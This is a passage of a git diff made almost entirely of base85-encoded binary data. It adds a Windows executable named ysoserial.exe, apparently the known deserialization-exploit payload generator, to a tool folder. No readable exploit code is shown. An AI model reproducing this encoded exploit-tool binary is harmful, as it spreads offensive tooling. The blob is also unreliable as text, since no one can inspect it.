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 Z5;w5_-|>m7|7WDm&iwzM|K~jLzX3<;8NmPm literal 0 HcmV?d00001 diff --git a/win/ysoserial/ysoserial.exe b/win/ysoserial/ysoserial.exe new file mode 100644 index 0000000000000000000000000000000000000000..f45f4f37f6d75a6e68c696f23055f7d4bf276a04 GIT binary patch literal 416768 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�s54KUE1v&+gjPtxspP7Q9D9Y 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 